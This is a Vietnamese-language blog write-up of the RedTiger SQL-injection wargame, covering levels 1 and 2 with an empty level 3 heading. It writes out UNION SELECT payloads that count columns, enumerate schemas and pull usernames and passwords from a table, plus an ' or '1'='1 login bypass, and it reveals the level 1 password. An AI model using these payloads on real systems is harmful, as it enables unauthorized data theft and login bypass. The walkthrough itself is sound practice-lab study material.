SQL injection :)) (WRITE UP REDTIGER)

      1. LEVEL 1 https://redtiger.labs.overthewire.org/level1.php

Ở đây có một số gợi ý đó là login bằng user: Hornoxe và pass ở bảng level1_users:

sau khi đọc hướng dẫn ở trang securityforall.wordpress.com thì ta có chút hiểu để truy vân và tìm đc lỗi.  ở dòng màu vàng. tùy trường hợp mà ta nhận thấy thông báo như thế nào là lỗi ở trang web đang thực hành.

 

Capture

sau khi xác định được trang lỗi thì truy vấn để số cột có trong csdl sql. nếu tìm được số cột như vậy ta dể dang định hướng để truy vấn csdl hơn.

với cú pháp : order by <số cột>

vd: order by 2 — – (https://redtiger.labs.overthewire.org/level1.php?cat=1 order by 2 — -)

Capture

như vậy ta thấy không có lỗi, có nghĩa là cột thứ 2 tồn tại.

ta thử lại với: order by 5 — – thì thấy xuất hiện lỗi. còn với 4 thì không. suy ra ở đây ta có 4 cột.

tiếp tục truy vấn bằng cú pháp <union select 1,2,3,4 — ->

Capture

NGOÀI LỀ: ta thấy hiện ra số 3 và 4. đây là số của cột mà ta có thể khai thác. ví dụ như truy vấn: user(), pass(), version()… ở những cột được hiện là có lỗi này.

Ở đây ta thử truy vấn version() xem sao. nói thêm version() là một hàm truy vấn trong sql. chúng ta có thể tham khảo ở trang sau http://www.mystown.com/2016/04/mot-so-cau-lenh-co-ban-cua-sql-injection.html

sau khi truy vấn thì ta có version của trang web đang sử dụng (https://redtiger.labs.overthewire.org/level1.php?cat=1 union select version(),version() — )

Capture

còn nếu truy vấn để xem database (https://redtiger.labs.overthewire.org/level1.php?cat=1 union select database(),database() — -)

Capture.PNG

có thể ở trang web này họ đã sữa lại thành hackit :)) (chỉ là phỏng đoán thôi)

thử thêm câu truy vấn. 1 UNION ALL SELECT NULL,concat(schema_name) FROM information_schema.schemata–

Capture.PNG

như vậy là người làm đề đã giấu thông tin về tên csdl. nhưng không sao khi khai thác ta có thể thử loại truy vấn để tìm đc là thuộc csdl gì

QUAY LẠI

Ở bài này yêu cầu tìm pass vì user đã cho nên ta truy vấn ở cột 3,4 để tìm thôi. 

https://redtiger.labs.overthewire.org/level1.php?cat=1 union select 1,2,user(),pass() — – (lỗi)

https://redtiger.labs.overthewire.org/level1.php?cat=1 union select 1,2,user,pass from level1_users — –  (lỗi)

https://redtiger.labs.overthewire.org/level1.php?cat=1 union select 1,2,username,password from level1_users — –

Capture

mừng quá ra rồi. như vậy ta đã truy vấn đc pass: “thatwaseasy” cho level1. đây là một level chủ yếu cho mn làm quen với cách truy vấn như thế nào là chính

    2. LEVEL 2  https://redtiger.labs.overthewire.org/level2.php

ở level này ta chỉ có Hint: Condition. ý ở đây là thêm điều kiện gì đó để có thể đăng nhập được. vậy thì có thể suy đoán và thử ngay là ‘ or ‘1’=’1 (và nhiều trường hợp khác vd: ” or “1”=”1, ” or “a”=”a ….) ở cả user và pass.

Ở đây câu truy vấn ” or “1”=”1 là câu đơn giản nhất trong SQLi. Chung quy là bạn sẽ dùng mệnh đề OR để kết thúc câu truy vấn trước đó để chuyển hướng sang câu sau với “1”=”1. Vậy là bạn đã làm cho điều kiện truy vấn vào csdl luôn đúng

cái này khá đơn giản nên không bàn nhiều nhé 😀 tìm hiểu thêm tại:  http://www.hvaonline.net/hvaonline/posts/list/10020.hva hoặc https://en.wikipedia.org/wiki/SQL_injection

BÀN THÊM 

Ở phần ghi chú của câu truy vấn vd trong MySQL thì — là phần ghi chú có nghĩa là sẽ loại bỏ tất cả những gì còn lại sau nó giúp ta đạt được ý muốn của câu truy vấn. nhưng trong trường hợp vd: https://redtiger.labs.overthewire.org/level1.php?cat=1 union select 1,2,username,password from level1_users where username=”Hornoxe”;

https://redtiger.labs.overthewire.org/level1.php?cat=1 union select 1,2,username,password from level1_users — where username=”Hornoxe”; thì sẽ không có gì xảy ra đoạn chú thích vẫn hoạt động bình thường. nhưng nếu như

https://redtiger.labs.overthewire.org/level1.php?cat=1 union select 1,2,username,password from level1_users –where username=”Hornoxe”; thì sẽ không bình thường nữa. Tóm lại là nếu bạn cho chắc chắn thì bạn cần “– -” để đảm bảo có khoảng cách sau lệnh chú thích — vậy thôi :)_)_

  3. LEVEL 3

 

 

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s